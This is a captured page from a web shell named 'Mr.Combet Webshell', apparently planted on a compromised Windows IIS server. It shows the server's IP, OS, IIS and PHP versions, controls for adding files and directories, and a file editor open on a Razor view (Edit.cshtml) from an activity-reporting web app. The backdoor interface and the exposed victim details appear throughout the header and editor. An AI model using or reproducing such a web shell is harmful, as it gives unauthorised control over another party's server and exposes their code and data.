Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
ActivityReporting
/
Edit File Name :
Edit.cshtml
@model RER_Project.DataAccess.ViewModels.Activity.ActivityReportingViewModel <style> .btn { border-radius: 0px; } .select2-selection .select2-selection--multiple { border-radius: 0px !important; } .select2-container--default.select2-container--focus .select2-selection--multiple { border: solid #f5f5f5 1px !important; outline: 0; } .s { height: 20px; overflow-y: scroll } </style> <div class="row wrapper border-bottom white-bg page-heading"> <div class="col-md-8"> <ol class="breadcrumb"> <li class="active"> <strong>Edit Activity/Event</strong> </li> </ol> </div> </div> <div id="pop-up-div" class="modal fade" role="dialog"> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <ul id="mytabs" class="nav nav-tabs"> <li class="active"><a data-toggle="tab" href="#Activity">Event/Activity</a></li> <li><a data-toggle="tab" href="#PM">Group Members</a></li> <li><a data-toggle="tab" href="#PO">Other Beneficiary</a></li> </ul> <div class="tab-content"> <div id="Activity" class="tab-pane fade in active"> <form name="CreateForm"> <input type="hidden" id="ActivityReportingId" name="ActivityReportingId" value="@Model.ActivityReportingId" /> <input type="hidden" id="nepaliStartDate" name="NepaliStartDate" value="@Model.ActivityReporting.NepaliStartDate" /> <input type="hidden" id="startDate" name="StartDate" value="@Model.ActivityReporting.StartDate" /> <input type="hidden" id="nepaliEndDate" name="NepaliEndDate" value="@Model.ActivityReporting.NepaliEndDate" /> <input type="hidden" id="endDate" name="EndDate" value="@Model.ActivityReporting.EndDate" /> <input type="hidden" id="ComponentId" name="ComponentId" value="@Model.ActivityReporting.ComponentId" /> <input type="hidden" id="SubComponentId" name="SubComponentId" value="@Model.ActivityReporting.SubComponentId" /> <br /> <div class="row"> <div class="form-group col-md-6"> <label><strong>Fiscal Year</strong></label> <select class="form-control required" name="FiscalYearId" id="FiscalYearId" data-api="/fiscal_year_unlocked/select" data-api-selected-value="@Model.ActivityReporting.FiscalYearId" disabled=""></select> <input type="hidden" name="FiscalYearId" id="FiscalYearId" value="@Model.ActivityReporting.FiscalYearId" /> </div> <div class="form-group col-md-6"> <label><strong>Event Name</strong></label> <select class="form-control required" name="ActivityId" id="ActivityId" data-api="/activity/select" data-api-selected-value="@Model.ActivityReporting.ActivityId" disabled=""></select> <input type="hidden" name="ActivityId" id="ActivityId" value="@Model.ActivityReporting.ActivityId" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Start Date</strong></label> <input type="text" class=" form-control required" id="nepaliStartDatePicker" value="@Model.ActivityReporting.NepaliStartDate" name="NepaliStartDate" /> @*<input type="date" class="form-control required" id="StartDate" name="StartDate" value="@string.Format("{0:yyyy-MM-dd}", Model.ActivityReporting.StartDate.Date)" />*@ </div> <div class="form-group col-md-6"> <label><strong>End Date</strong></label> <input type="text" class=" form-control required" id="nepaliEndDatePicker" value="@Model.ActivityReporting.NepaliEndDate" name="NepaliEndDate" /> @*<input type="date" class="form-control required" id="EndDate" name="EndDate" value="@string.Format("{0:yyyy-MM-dd}", Model.ActivityReporting.EndDate.Date)" />*@ </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Commodity(If applicable)</strong></label> <select class="form-control" name="CommodityId" id="CommodityId" data-api="/commodity/select" data-api-selected-value="@Model.ActivityReporting.CommodityId"></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label>Planned Budget</label> <input type="number" class="form-control" name="PlannedBudget" placeholder="Planned Budget" value="@Model.ActivityReporting.PlannedBudget" /> </div> <div class="form-group col-md-6"> <label><strong>Actual Expense</strong></label> <input type="number" class="form-control" name="ActualExpense" placeholder="Actual Expense" value="@Model.ActivityReporting.ActualExpense" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Province</strong></label> <select type="text" class="form-control required" name="ProvinceId" id="ProvinceId" data-api="/province/select/threeStates" data-api-selected-value="@Model.ActivityReporting.ProvinceId"></select> </div> <div class="form-group col-md-6"> <label><strong>District</strong></label> <select type="text" class="form-control required" name="DistrictId" id="DistrictId" data-api="/districts/select" data-api-selected-value="@Model.ActivityReporting.DistrictId"></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Municipality</strong></label> <select type="text" class="form-control required" id="MunicipalityId" name="MunicipalityId" data-api="/municipality/select" data-api-selected-value="@Model.ActivityReporting.MunicipalityId"></select> </div> <div class="form-group col-md-6"> <label><strong>In cordination Of(If Any)</strong></label> <input type="text" class="form-control" name="InCoordinationOf" placeholder="In Coordination Of" value="@Model.ActivityReporting.InCoordinationOf" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Facilitator</strong></label> <input type="text" class="form-control" name="Facilitator" placeholder="Facilitator" value="@Model.ActivityReporting.Facilitator" /> </div> <div class="form-group col-md-6"> <label><strong>Objectives</strong></label> <textarea name="Objectives" id="Objectives" maxlength="1000" class="form-control required" placeholder="Objectives">@Model.ActivityReporting.Objectives</textarea> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Details Of Activity</strong></label> <textarea name="DetailsOfActivity" id="DetailsOfActivity" maxlength="1000" class="form-control required" placeholder="Details Of Activity">@Model.ActivityReporting.DetailsOfActivity</textarea> </div> <div class="form-group col-md-6"> <label><strong>Output</strong></label> <textarea name="Output" id="Output" maxlength="1000" class="form-control required" placeholder="Output">@Model.ActivityReporting.Output</textarea> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Issues/Challenges Identified</strong></label> <textarea name="IssuesIdentified" id="IssuesIdentified" maxlength="1000" class="form-control required" placeholder="Issues Identified">@Model.ActivityReporting.IssuesIdentified</textarea> </div> <div class="form-group col-md-6"> <label><strong>Recommendation</strong></label> <textarea name="Recommendation" id="Recommendation" maxlength="1000" class="form-control required" placeholder="Recommendation">@Model.ActivityReporting.Recommendation</textarea> </div> </div> <div class="row"> <div class="col-md-6"> <label> <input type="checkbox" id="MetObjectives" name="MetObjectives" value="@(Model.ActivityReporting.MetObjectives ? "true" : "false")" onchange="$(this).val(this.checked)" @(Model.ActivityReporting.MetObjectives ? "checked=checked" : "") /> <strong> Did This Event Met its Objectives?</strong> </label> </div> </div> <div class="row"> <div class="col-md-12"> <button type="button" id="nexttab" class="btn btn-primary pull-right">Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></button> </div> </div> </form> </div> <div id="PM" class="tab-pane fade"> <br /> <h4><b>Search & Add Group Members</b></h4> <form id="tpm"> <br /> <div class="row"> <div class="form-group col-md-3"> <label><strong>Province</strong></label> <select type="text" class="form-control required" name="ProvinceId" id="PId" data-api="/province/select/threeStates"></select> </div> <div class="form-group col-md-3"> <label><strong>District</strong></label> <select type="text" class="form-control required" name="DistrictId" id="DId" data-api="/districts/select" disabled=""></select> </div> <div class="form-group col-md-3"> <label><strong>Commodity</strong></label> <select class="form-control" name="CommodityId" id="CId" data-api="/commodity/select" disabled=""></select> </div> <div class="form-group col-md-3"> <label><strong>Group</strong></label> <select type="text" class="form-control required clear" name="GroupId" id="GId" data-api="/groups/commodity/select" disabled="" onchange="showMembers()"></select> </div> </div> <div class="row"> <div class="form-group col-md-12"> <div class="table-responsive" style="margin-top:16px;"> <table class="footable table table-hover" id="tblPMember" name="tblPMember"> <thead> <tr> <th>Group</th> <th>Member Name </th> <th>Age</th> <th>Ethnicity</th> <th>Gender</th> <th>Contact</th> <th>Origin</th> <th>Action</th> </tr> </thead> <tbody> @foreach (var item in Model.ActivityParticipantViewList.Where(x => x.MemberId != null && x.MemberId != 0)) { <tr> <td><input type="hidden" name="GroupId" value="@item.GroupId" />@item.GroupName</td> <td><input type="hidden" name="MemberId" value="@item.MemberId" />@String.Concat(item.FirstName, ' ', item.LastName)</td> <td>@item.Age</td> <td><input type="hidden" name="EthnicityId" value="@item.EthnicityId" />@item.Ethnicity</td> <td>@item.Gender</td> <td>@item.ContactNo</td> <td>@item.Origin</td> <td><a class="btn btn-default btn-xs" onclick="deleteRow(this)" title="Delete" style="color:red"><i class="fa fa-remove"></i></a></td> </tr> } </tbody> </table> </div> </div> <div class="row"> <div class="col-md-12"> <button type="button" id="previous" class="btn btn-primary"><i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</button> <button type="button" id="last" class="btn btn-primary"> Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></button> </div> </div> </div> </form> </div> <div id="PO" class="tab-pane fade"> <br /> <h4><b>Add Other Beneficiary</b></h4> <form id="tpo"> <br /> <div class="row"> <div class="form-group col-md-2"> <label><strong>Member Name</strong></label> <input type="text" class="form-control required clear" name="MemberName" placeholder="Member Name" /> </div> <div class="form-group col-md-2"> <label><strong>Ethnicity</strong></label> <select type="text" class="form-control required clear" name="EthnicityId" id="EthnicityId" data-api="/ethnicity/select"></select> </div> <div class="form-group col-md-2"> <label><strong>Gender</strong></label> <select type="text" class="form-control required clear" name="Gender" id="Gender" data-api="/genders/select"></select> </div> <div class="form-group col-md-2"> <label><strong>Origin</strong></label> <select type="text" class="form-control required clear" name="Origin" id="Origin" data-api="/origin/select"></select> </div> <div class="form-group col-md-2"> <label><strong>Age</strong></label> <input type="number" class="form-control required clear" id="Age" oninput="validity.valid||(value='');" name="Age" min="0" max="130" /> </div> <div class="form-group col-md-2"> <label><strong>Contact</strong></label> <input type="text" class="form-control required clear" id="Contact" name="Contact" maxlength="10" /> </div> </div> <div class="row"> <div class="form-group col-md-2"> <label class="align-label-btm"> </label> <a class="btn btn-sm btn-primary" onclick="addPOtherMember()" title="Add">Add</a> </div> </div> <div class="row"> <div class="form-group col-md-12"> <div class="table-responsive" style="margin-top:16px;"> <table class="footable table table-hover" id="tblPOther"> <thead> <tr> <th>Member Name</th> <th>Ethnicity</th> <th>Gender</th> <th>Age</th> <th>Contact</th> <th>Origin</th> <th>Action</th> </tr> </thead> <tbody> @foreach (var item in Model.ActivityParticipantViewList.Where(x => x.MemberId == null || x.MemberId == 0)) { <tr> <td>@item.MemberName</td> <td><input type="hidden" name="EthnicityId" value="@item.EthnicityId">@item.Ethnicity</td> <td><input type="hidden" name="Gender" value="@item.Gender">@item.Gender</td> <td>@item.Age</td> <td>@item.ContactNo</td> <td>@item.Origin</td> <td><a class="btn btn-default btn-xs" onclick="deleteRow(this)" title="Delete" style="color:red"><i class="fa fa-remove"></i></a></td> </tr> } </tbody> </table> </div> </div> </div> </form> <div class="row"> <div class="pull-right"> <button type="button" id="previouslast" class="btn btn-primary"><i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</button> <a class="btn btn-primary " id="SubmitButton">Save</a> <a href="/activityreporting/reporting" class="btn btn-default "><i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i> Back</a> </div> </div> </div> </div> </div> </div> </div> </div> </div> <script src="~/Scripts/jquery.min.js"></script> <script src="~/Scripts/NepaliDatePicker/jquery.nepaliDatePicker.min.js"></script> <link href="~/Content/NepaliDatePicker/nepaliDatePicker.min.css" rel="stylesheet" /> <script type="text/javascript"> function showMembers() { debugger var group = $('#GId option:selected').val(); AjaxForm.popup("/group/member/memberList?groupId=" + group); } $(document).ready(function () { window.initializeSelectApis(); window.initializeCascadeLocation(); window.initializeCasecadeMembers(); var startDate = new Date($("#startDate").val()); var startNepaliDate = calendarFunctions.getBsDateByAdDate(startDate.getFullYear(), startDate.getMonth() + 1, startDate.getDate()); var startFormatedNepaliDate = calendarFunctions.bsDateFormat("%y-%M-%d", startNepaliDate.bsYear, startNepaliDate.bsMonth, startNepaliDate.bsDate); $("#nepaliStartDatePicker").val(startFormatedNepaliDate); $("#nepaliStartDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#nepaliStartDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#startDate").val(datePickerData.adDate.toLocaleDateString()); $("#nepaliStartDate").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }); var endDate = new Date($("#endDate").val()); var endNepaliDate = calendarFunctions.getBsDateByAdDate(endDate.getFullYear(), endDate.getMonth() + 1, endDate.getDate()); var endFormatedNepaliDate = calendarFunctions.bsDateFormat("%y-%M-%d", endNepaliDate.bsYear, endNepaliDate.bsMonth, endNepaliDate.bsDate); $("#nepaliEndDatePicker").val(endFormatedNepaliDate); $("#nepaliEndDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#nepaliEndDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#endDate").val(datePickerData.adDate.toLocaleDateString()); $("#nepaliEndDate").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }); $('#nexttab').click(function (e) { e.preventDefault(); $('#mytabs a[href="#PM"]').tab('show'); }); $('#previous').click(function (e) { e.preventDefault(); $('#mytabs a[href="#Activity"]').tab('show'); }); $('#last').click(function (e) { e.preventDefault(); $('#mytabs a[href="#PO"]').tab('show'); }); $('#previouslast').click(function (e) { e.preventDefault(); $('#mytabs a[href="#PM"]').tab('show'); }); }); const id = $("#ActivityReportingId").val(); function addPMember(l) { debugger const form = $("#tpm") var table = $("#tblPMember tbody"); var b = l; $.validator.unobtrusive.parse(form); for (var i = 0; i < b.length; i++) { if (b[i].value !== "") { var sp = b[i]; var row = "<tr>"; row += "<td>" + sp[0] + "</td>"; row += "<td>" + sp[1] + "</td>"; row += "<td>" + sp[2] + "</td>"; row += "<td>" + sp[3] + "</td>"; row += "<td>" + sp[4] + "</td>"; row += "<td>" + sp[5] + "</td>"; row += "<td>" + sp[6] + "</td>"; row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" table.append(row); } } clearAll(); }; function addPOtherMember() { const form = $("#tpo") var table = $("#tblPOther tbody"); const ethnicityId = $("#EthnicityId option:selected"); const gender = $("#Gender option:selected"); debugger $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; }; const model = window.serializeForm(form); var row = "<tr>"; row += "<td>" + model.MemberName + "</td>"; row += "<td>" + ethnicityId.text() + "<input type=hidden name='EthnicityId' value=" + ethnicityId.val() + "></td>"; row += "<td>" + gender.text() == 'Select'?'':gender.text() + "<input type=hidden name='Gender' value=" + gender.text() + "></td>"; row += "<td>" + model.Age + "</td>"; row += "<td>" + model.Contact + "</td>"; row += "<td>" + model.Origin + "</td>"; row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" table.append(row); clearAll(); }; function deleteRow(e) { $(e).closest("tr").remove(); }; function clearAll() { $(".clear").val(''); }; function getActivityParticipantList() { var participantList = []; $("#tblPMember tbody tr").each(function () { const groupId = $(this).find("td:eq(0)").find("input[type='hidden']").val(); const memberId = $(this).find("td:eq(1)").find("input[type='hidden']").val(); const ethnicityId = $(this).find("td:eq(3)").find("input[type='hidden']").val(); const gender = $(this).find("td:eq(4)").html(); const contact = $(this).find("td:eq(5)").html(); const origin = $(this).find("td:eq(6)").html(); participantList.push({ MemberId: memberId, GroupId: groupId, EthnicityId: ethnicityId, Gender: gender, Origin: origin, Contact: contact, ActivityReportingId: id }); }) $("#tblPOther tbody tr").each(function () { const memberName = $(this).find("td:eq(0)").text(); const ethnicity = $(this).find("td:eq(1)").find("input[type='hidden']").val(); const gender = $(this).find("td:eq(2)").find("input[type='hidden']").val(); const age = $(this).find("td:eq(3)").text(); const contact = $(this).find("td:eq(4)").text(); const origin = $(this).find("td:eq(5)").text(); participantList.push({ ActivityReportingId: id, MemberName: memberName, Contact: contact, Age: age, Gender: gender, EthnicityId: ethnicity, Origin: origin }); }) return participantList; }; $("#SubmitButton").off("click").on("click", function () { debugger function request(model) { const url = "/activities/reporting/edit"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } const form = $("form[name=CreateForm]"); $.validator.unobtrusive.parse(form); if (!(form).valid()) { return false; } if (!window.confirmAction()) { return; } let a = window.serializeForm(form); WorkForce.loader.show(); const activityId = $("#ActivityReportingId").val(); function getModel() { return ({ ActivityReporting: a, ActivityParticipantList: getActivityParticipantList() }); } const model = getModel(); //const model = window.serializeForm(form); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/activityreporting/reporting"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }) </script> <style> input[type=checkbox] { transform: scale(1.5); } </style>
Save